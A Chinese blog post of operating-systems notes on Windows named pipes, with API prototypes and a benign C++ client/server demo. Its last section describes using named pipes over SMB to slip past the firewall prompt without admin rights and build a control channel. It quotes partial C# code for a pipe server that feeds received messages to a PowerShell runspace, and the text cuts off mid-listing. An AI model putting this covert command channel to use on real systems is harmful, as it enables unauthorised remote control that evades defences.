<!DOCTYPE html>












  


<html class="theme-next muse use-motion" lang="cn">
<head>
  <meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2"/>
<meta name="theme-color" content="#222">






  
  
    
      
    
    
      
    
  <script src="//cdn.bootcss.com/pace/1.0.2/pace.min.js"></script>
  <link href="//cdn.bootcss.com/pace/1.0.2/themes/blue/pace-theme-flash.min.css" rel="stylesheet">







<meta http-equiv="Cache-Control" content="no-transform" />
<meta http-equiv="Cache-Control" content="no-siteapp" />



















  
  
  
  

  
    
    
  

  
    
      
    

    
  

  

  
    
      
    

    
  

  
    
      
    

    
  

  
    
    
    <link href="//fonts.googleapis.com/css?family=Lato:300,300italic,400,400italic,700,700italic|Monda:300,300italic,400,400italic,700,700italic|Lobster Two:300,300italic,400,400italic,700,700italic|PT Mono:300,300italic,400,400italic,700,700italic&subset=latin,latin-ext" rel="stylesheet" type="text/css">
  






  

<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css" />

<link href="/css/main.css?v=6.4.0" rel="stylesheet" type="text/css" />


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=6.4.0">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=6.4.0">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=6.4.0">


  <link rel="mask-icon" href="/images/logo.svg?v=6.4.0" color="#222">









<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Muse',
    version: '6.4.0',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: false,
    fastclick: false,
    lazyload: false,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>


  




  <meta name="description" content="“不知道从什么时候开始，在每一个东西上面都有个日子，秋刀鱼会过期，肉酱也会过期，连保鲜纸都会过期。我开始怀疑，在这个世界上，还有什么东西是不会过期的？” －－　《重庆森林》  上操作系统课，记录自己对于命名管道的学习。">
<meta name="keywords" content="操作系统,生产者消费者,命名管道">
<meta property="og:type" content="article">
<meta property="og:title" content="操作系统笔记(二)进程通信之命名管道初探">
<meta property="og:url" content="https://lengjibo.github.io/czxt2/index.html">
<meta property="og:site_name" content="冷逸的个人博客|开往安河桥北~">
<meta property="og:description" content="“不知道从什么时候开始，在每一个东西上面都有个日子，秋刀鱼会过期，肉酱也会过期，连保鲜纸都会过期。我开始怀疑，在这个世界上，还有什么东西是不会过期的？” －－　《重庆森林》  上操作系统课，记录自己对于命名管道的学习。">
<meta property="og:locale" content="cn">
<meta property="og:image" content="https://lengjibo.github.io/images/czxt2/1.png">
<meta property="og:image" content="https://lengjibo.github.io/images/czxt2/2.png">
<meta property="og:image" content="https://lengjibo.github.io/images/czxt2/3.png">
<meta property="og:image" content="https://lengjibo.github.io/images/czxt2/4.png">
<meta property="og:updated_time" content="2020-04-14T08:28:59.348Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="操作系统笔记(二)进程通信之命名管道初探">
<meta name="twitter:description" content="“不知道从什么时候开始，在每一个东西上面都有个日子，秋刀鱼会过期，肉酱也会过期，连保鲜纸都会过期。我开始怀疑，在这个世界上，还有什么东西是不会过期的？” －－　《重庆森林》  上操作系统课，记录自己对于命名管道的学习。">
<meta name="twitter:image" content="https://lengjibo.github.io/images/czxt2/1.png">



  <link rel="alternate" href="/../../.deploy_git/atom.xml" title="冷逸的个人博客|开往安河桥北~" type="application/atom+xml" />




  <link rel="canonical" href="https://lengjibo.github.io/czxt2/"/>



<script type="text/javascript" id="page.configurations">
  CONFIG.page = {
    sidebar: "",
  };
</script>

  <title>操作系统笔记(二)进程通信之命名管道初探 | 冷逸的个人博客|开往安河桥北~</title>
  









  <noscript>
  <style type="text/css">
    .use-motion .motion-element,
    .use-motion .brand,
    .use-motion .menu-item,
    .sidebar-inner,
    .use-motion .post-block,
    .use-motion .pagination,
    .use-motion .comments,
    .use-motion .post-header,
    .use-motion .post-body,
    .use-motion .collection-title { opacity: initial; }

    .use-motion .logo,
    .use-motion .site-title,
    .use-motion .site-subtitle {
      opacity: initial;
      top: initial;
    }

    .use-motion {
      .logo-line-before i { left: initial; }
      .logo-line-after i { right: initial; }
    }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="cn">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">冷逸的个人博客|开往安河桥北~</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
    
  </div>

  <div class="site-nav-toggle">
    <button aria-label="Toggle navigation bar">
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>



<nav class="site-nav">
  
    <ul id="menu" class="menu">
      
        
        
        
          
          <li class="menu-item menu-item-home">
    <a href="/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-home"></i> <br />Startseite</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-about">
    <a href="/about/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-user"></i> <br />Über</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-tags">
    <a href="/tags/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-tags"></i> <br />Tags</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-categories">
    <a href="/categories/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-th"></i> <br />Kategorien</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-archives">
    <a href="/archives/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-archive"></i> <br />Archiv</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-book">
    <a href="/book/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-book"></i> <br />book</a>
  </li>

      
      
    </ul>
  

  
    

  

  
</nav>



  



</div>
    </header>

    


    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://lengjibo.github.io/czxt2/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="冷逸">
      <meta itemprop="description" content="做一个温柔的人...">
      <meta itemprop="image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g7vony4ltaj308w08wq30.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="冷逸的个人博客|开往安河桥北~">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">操作系统笔记(二)进程通信之命名管道初探
              
            
          </h1>
        

        <div class="post-meta">
        
          <span class="post-time">

            
            
            

            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Veröffentlicht am</span>
              

              
                
              

              <time title="Post created: 2020-03-08 15:55:55" itemprop="dateCreated datePublished" datetime="2020-03-08T15:55:55+08:00">2020-03-08</time>
            

            
              

              
                
                <span class="post-meta-divider">|</span>
                

                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Edited on</span>
                
                <time title="Updated at: 2020-04-14 16:28:59" itemprop="dateModified" datetime="2020-04-14T16:28:59+08:00">2020-04-14</time>
              
            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">in</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/操作系统/" itemprop="url" rel="index"><span itemprop="name">操作系统</span></a></span>

                
                
              
            </span>
          

          
            
          

          
          

          
            <span class="post-meta-divider">|</span>
            <span class="post-meta-item-icon"
            >
            <i class="fa fa-eye"></i>
             Views:  
            <span class="busuanzi-value" id="busuanzi_value_page_pv" ></span>
            </span>
          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <p>“不知道从什么时候开始，在每一个东西上面都有个日子，秋刀鱼会过期，肉酱也会过期，连保鲜纸都会过期。我开始怀疑，在这个世界上，还有什么东西是不会过期的？”</p>
<p>－－　《重庆森林》</p>
<hr>
<p>上操作系统课，记录自己对于命名管道的学习。</p>
<a id="more"></a>
<h2 id="关于命名管道："><a href="#关于命名管道：" class="headerlink" title="关于命名管道："></a>关于命名管道：</h2><p>“命名管道”又名“命名管线”（Named Pipes），是一种简单的进程间通信（IPC）机制，Microsoft Windows大都提供了对它的支持（但不包括Windows CE）。命名管道可在同一台计算机的不同进程之间或在跨越一个网络的不同计算机的不同进程之间，支持可靠的、单向或双向的数据通信。推荐用命名管道作为进程通信方案的一项重要的原因是它们充分利用了Windows内建的安全特性（ACL等）。<br>用命名管道来设计跨计算机应用程序实际非常简单，并不需要事先深入掌握底层网络传送协议（如TCP、UDP、IP、IPX）的知识。这是由于命名管道利用了微软网络提供者（MSNP）重定向器通过同一个网络在各进程间建立通信，这样一来，应用程序便不必关心网络协议的细节。</p>
<p>命名管道是一个具有名称，可以单向或双面在一个服务器和一个或多个客户端之间进行通讯的管道。命名管道的所有实例拥有相同的名称，但是每个实例都有其自己的缓冲区和句柄，用来为不同客户端通许提供独立的管道。使用实例可使多个管道客户端同时使用相同的命名管道。</p>
<ul>
<li>命名管道的名称在本系统中是唯一的。</li>
<li>命名管道可以被任意符合权限要求的进程访问。</li>
<li>命名管道只能在本地创建。</li>
<li>命名管道的客户端可以是本地进程（本地访问：.\pipe\PipeName）或者是远程进程（访问远程：\ServerName\pipe\PipeName）。</li>
<li>命名管道使用比匿名管道灵活，服务端、客户端可以是任意进程，匿名管道一般情况下用于父子进程通讯。</li>
</ul>
<h3 id="列出计算机内所有的命名管道："><a href="#列出计算机内所有的命名管道：" class="headerlink" title="列出计算机内所有的命名管道："></a>列出计算机内所有的命名管道：</h3><p>在powershell3以上的版本中，我们可以使用</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[System.IO.Directory]::GetFiles(&quot;\\.\\pipe\\&quot;)</span><br></pre></td></tr></table></figure>
<p>来查看本机上所有的存在的命名管道，或者使用process explorer来进行查看</p>
<p><img src="../images/czxt2/1.png" alt="0.png"></p>
<h2 id="命名管道的创建及通信"><a href="#命名管道的创建及通信" class="headerlink" title="命名管道的创建及通信"></a>命名管道的创建及通信</h2><p>在windows中命名管道的通信方式是：</p>
<blockquote>
<p>①创建命名管道　－－&gt;  ②连接命名管道  －－&gt;  ③读写命名管道</p>
</blockquote>
<p>详细过程如下：</p>
<p>命名管道通过调用函数CreateNamedPipe()创建，函数原型如下：</p>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">HANDLE WINAPI <span class="title">CreateNamedPipe</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">  _In_     LPCTSTR               lpName,</span></span></span><br><span class="line"><span class="function"><span class="params">  _In_     DWORD                 dwOpenMode,</span></span></span><br><span class="line"><span class="function"><span class="params">  _In_     DWORD                 dwPipeMode,</span></span></span><br><span class="line"><span class="function"><span class="params">  _In_     DWORD                 nMaxInstances,</span></span></span><br><span class="line"><span class="function"><span class="params">  _In_     DWORD                 nOutBufferSize,</span></span></span><br><span class="line"><span class="function"><span class="params">  _In_     DWORD                 nInBufferSize,</span></span></span><br><span class="line"><span class="function"><span class="params">  _In_     DWORD                 nDefaultTimeOut,</span></span></span><br><span class="line"><span class="function"><span class="params">  _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span>;</span><br></pre></td></tr></table></figure>
<p>详细参数可以参考：<a href="https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea" target="_blank" rel="noopener">https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea</a></p>
<p>创建完成后服务端可以调用函数ConnectNamedPipe()等待客户端的连接请求，函数原型如下：</p>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"> <span class="function">BOOL WINAPI <span class="title">ConnectNamedPipe</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">  _In_        HANDLE       hNamedPipe,</span></span></span><br><span class="line"><span class="function"><span class="params"> _Inout_opt_ LPOVERLAPPED lpOverlapped</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span>;</span><br></pre></td></tr></table></figure>
<p>详细参数可以参考：<a href="https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe" target="_blank" rel="noopener">https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe</a></p>
<p>对于客户端而言，在连接服务器创建的命名管道前需要判断该命名管道是否可用，可调用函数WaitNamedPipe()实现<br>函数原型如下：</p>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">BOOL <span class="title">WaitNamedPipeA</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">  LPCSTR lpNamedPipeName,</span></span></span><br><span class="line"><span class="function"><span class="params">  DWORD  nTimeOut</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span>;</span><br></pre></td></tr></table></figure>
<p>详细参数可以参考：<a href="https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-waitnamedpipea" target="_blank" rel="noopener">https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-waitnamedpipea</a></p>
<p>当WaitNamedPipe()调用成功后，便可使用CreateFile()将命名管道打开已获得管道的句柄。</p>
<p>然后客户端对命名管道的读写操作利用函数ReadFile()和WriteFile()完成，函数原型如下：</p>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">BOOL <span class="title">WriteFile</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">  HANDLE       hFile,</span></span></span><br><span class="line"><span class="function"><span class="params">  LPCVOID      lpBuffer,</span></span></span><br><span class="line"><span class="function"><span class="params">  DWORD        nNumberOfBytesToWrite,</span></span></span><br><span class="line"><span class="function"><span class="params">  LPDWORD      lpNumberOfBytesWritten,</span></span></span><br><span class="line"><span class="function"><span class="params">  LPOVERLAPPED lpOverlapped</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span>;</span><br></pre></td></tr></table></figure>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">BOOL <span class="title">ReadFile</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">  HANDLE       hFile,</span></span></span><br><span class="line"><span class="function"><span class="params">  LPVOID       lpBuffer,</span></span></span><br><span class="line"><span class="function"><span class="params">  DWORD        nNumberOfBytesToRead,</span></span></span><br><span class="line"><span class="function"><span class="params">  LPDWORD      lpNumberOfBytesRead,</span></span></span><br><span class="line"><span class="function"><span class="params">  LPOVERLAPPED lpOverlapped</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span>;</span><br></pre></td></tr></table></figure>
<p>具体参数可以参考：</p>
<p><a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile" target="_blank" rel="noopener">https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile</a><br><a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfile" target="_blank" rel="noopener">https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfile</a></p>
<h3 id="demo："><a href="#demo：" class="headerlink" title="demo："></a>demo：</h3><p>下面是一个命名管道通信的小demo：</p>
<p>服务端：</p>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;iostream&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> BUF_SIZE 1024</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> <span class="built_in">std</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc,<span class="keyword">char</span> * argv[])</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">	HANDLE h_pipe;</span><br><span class="line">	<span class="keyword">char</span> rev_buf[BUF_SIZE];</span><br><span class="line">	DWORD rel_buf;</span><br><span class="line"></span><br><span class="line">	h_pipe = CreateNamedPipe(</span><br><span class="line">		<span class="string">"\\\\.\\pipe\\pipename"</span>,</span><br><span class="line">		PIPE_ACCESS_INBOUND,</span><br><span class="line">		PIPE_READMODE_BYTE | PIPE_WAIT,</span><br><span class="line">		PIPE_UNLIMITED_INSTANCES,</span><br><span class="line">		BUF_SIZE,</span><br><span class="line">		BUF_SIZE,</span><br><span class="line">		<span class="number">0</span>,</span><br><span class="line">		<span class="literal">nullptr</span></span><br><span class="line">	);</span><br><span class="line"></span><br><span class="line">	<span class="keyword">if</span> (h_pipe == INVALID_HANDLE_VALUE) &#123;</span><br><span class="line">		<span class="built_in">cout</span>&lt;&lt;<span class="string">"NamedPipe Create fail!!!"</span>&lt;&lt;GetLastError()&lt;&lt;<span class="built_in">endl</span>;</span><br><span class="line">		system(<span class="string">"pause"</span>);</span><br><span class="line">		<span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">else</span></span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">cout</span>&lt;&lt;<span class="string">"NamedPipe Create Successful !!!"</span>&lt;&lt;<span class="built_in">endl</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">if</span> (ConnectNamedPipe(h_pipe,<span class="literal">nullptr</span>)) &#123;</span><br><span class="line">		<span class="built_in">cout</span>&lt;&lt;<span class="string">"NamedPipe Connected !!!"</span>&lt;&lt;<span class="built_in">endl</span>;</span><br><span class="line">		<span class="built_in">memset</span>(rev_buf,<span class="number">0</span>,BUF_SIZE);</span><br><span class="line">		<span class="keyword">if</span> (ReadFile(h_pipe, rev_buf, BUF_SIZE, &amp;rel_buf, <span class="literal">nullptr</span>)) &#123;</span><br><span class="line">			<span class="built_in">cout</span>&lt;&lt;<span class="string">"Revecve Data Successful !!!"</span>&lt;&lt;rev_buf&lt;&lt;<span class="built_in">endl</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">else</span></span><br><span class="line">		&#123;</span><br><span class="line">			<span class="built_in">cout</span> &lt;&lt; <span class="string">"Revecve Data Fail !!!"</span> &lt;&lt; GetLastError() &lt;&lt; <span class="built_in">endl</span>;</span><br><span class="line">			CloseHandle(h_pipe);</span><br><span class="line">			system(<span class="string">"pause"</span>);</span><br><span class="line">			<span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">	CloseHandle(h_pipe);</span><br><span class="line">	<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>客户端：</p>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> BUF_SIZE 1024</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> <span class="built_in">std</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argv,<span class="keyword">char</span> * argc[])</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">		 HANDLE h_pipe;</span><br><span class="line">	     <span class="keyword">char</span> buf_msg[] = <span class="string">"Test for named pipe..."</span>;</span><br><span class="line">	     DWORD num_rcv; <span class="comment">//实际接收到的字节数</span></span><br><span class="line">	     <span class="built_in">cout</span> &lt;&lt; <span class="string">"Try to connect named pipe...\n"</span>;</span><br><span class="line">         <span class="keyword">if</span> (WaitNamedPipe(<span class="string">"\\\\.\\pipe\\pipename"</span>, NMPWAIT_WAIT_FOREVER))</span><br><span class="line">         &#123;</span><br><span class="line">             <span class="comment">//打开指定命名管道</span></span><br><span class="line">             h_pipe = CreateFile(<span class="string">"\\\\.\\pipe\\pipename"</span>, GENERIC_WRITE, <span class="number">0</span>, <span class="literal">nullptr</span>, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, <span class="literal">nullptr</span>);</span><br><span class="line">             <span class="keyword">if</span> (h_pipe == INVALID_HANDLE_VALUE)</span><br><span class="line">             &#123;</span><br><span class="line">                 <span class="built_in">cerr</span> &lt;&lt; <span class="string">"Failed to open the appointed named pipe!Error code: "</span> &lt;&lt; GetLastError() &lt;&lt; <span class="string">"\n"</span>;</span><br><span class="line">                 system(<span class="string">"pause"</span>);</span><br><span class="line">                 <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">             &#125;</span><br><span class="line">             <span class="keyword">else</span></span><br><span class="line">             &#123;</span><br><span class="line">                 <span class="keyword">if</span> (WriteFile(h_pipe, buf_msg, BUF_SIZE, &amp;num_rcv, <span class="literal">nullptr</span>))</span><br><span class="line">                 &#123;</span><br><span class="line">                     <span class="built_in">cout</span> &lt;&lt; <span class="string">"Message sent successfully...\n"</span>;</span><br><span class="line">                 &#125;</span><br><span class="line">                 <span class="keyword">else</span></span><br><span class="line">                 &#123;</span><br><span class="line">                     <span class="built_in">cerr</span> &lt;&lt; <span class="string">"Failed to send message!Error code: "</span> &lt;&lt; GetLastError() &lt;&lt; <span class="string">"\n"</span>;</span><br><span class="line">                     CloseHandle(h_pipe);</span><br><span class="line">                     system(<span class="string">"pause"</span>);</span><br><span class="line">                     <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">                 &#125;</span><br><span class="line">             &#125;</span><br><span class="line">             CloseHandle(h_pipe);</span><br><span class="line">         &#125;</span><br><span class="line">         system(<span class="string">"pause"</span>);</span><br><span class="line">         <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p><img src="../images/czxt2/2.png" alt="0.png"></p>
<p>PS:实现长链接的话记得开新线程哦。</p>
<h2 id="实际利用"><a href="#实际利用" class="headerlink" title="实际利用"></a>实际利用</h2><h3 id="绕过防火墙："><a href="#绕过防火墙：" class="headerlink" title="绕过防火墙："></a>绕过防火墙：</h3><p>那么这个东西有什么用呢？我们在渗透的过程中经常会看到下面这种情况：</p>
<p><img src="../images/czxt2/3.png" alt="0.png"></p>
<p>在 Windows 中，当尝试使用 Bind() 绑定一个 TCP Socket 时，Defender 会弹窗提示是否允许此程序进行网络连接，只有用户点击允许访问才可放行。我们可以利用添加防火墙规则的办法来绕过这个限制，但是，如果你不是administrator权限，也就ＧＧ了，这个时候我们还有另外的办法就是利用命名管道，命名管道网络通信使用了未加密的SMB协议（端口445）或DCE\RPC（端口135）。在 Windows 中，通常默认允许 SMB 协议 出入站，因此，如果有什么功能或机制可以用于与外部机器进行通信的，SMB 协议 无疑是一种很好的选择。所以我们可以基于命名管道与外部机器进行通信，从而建立控制通道。</p>
<p>这里就直接拿rocll大佬的代码过来了：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line">private static void WaitData()</span><br><span class="line">&#123;</span><br><span class="line">    // 创建一个运行空间</span><br><span class="line">    Runspace runspace = null;</span><br><span class="line">    runspace = RunspaceFactory.CreateRunspace();</span><br><span class="line">    runspace.ApartmentState = System.Threading.ApartmentState.STA; </span><br><span class="line">    runspace.Open();</span><br><span class="line"></span><br><span class="line">    while(true)</span><br><span class="line">    &#123;</span><br><span class="line">        using (var pipeServer = new NamedPipeServerStream(</span><br><span class="line">            &quot;testpipe&quot;,</span><br><span class="line">            PipeDirection.InOut,</span><br><span class="line">            NamedPipeServerStream.MaxAllowedServerInstances,</span><br><span class="line">            PipeTransmissionMode.Message))</span><br><span class="line">        &#123;</span><br><span class="line">            Console.WriteLine(&quot;[*] Waiting for client connection...&quot;);</span><br><span class="line">            pipeServer.WaitForConnection();</span><br><span class="line">            Console.WriteLine(&quot;[*] Client connected.&quot;);</span><br><span class="line">            while (true)</span><br><span class="line">            &#123;</span><br><span class="line">                var messageBytes = ReadMessage(pipeServer);</span><br><span class="line">                var line = Encoding.Default.GetString(messageBytes);</span><br><span 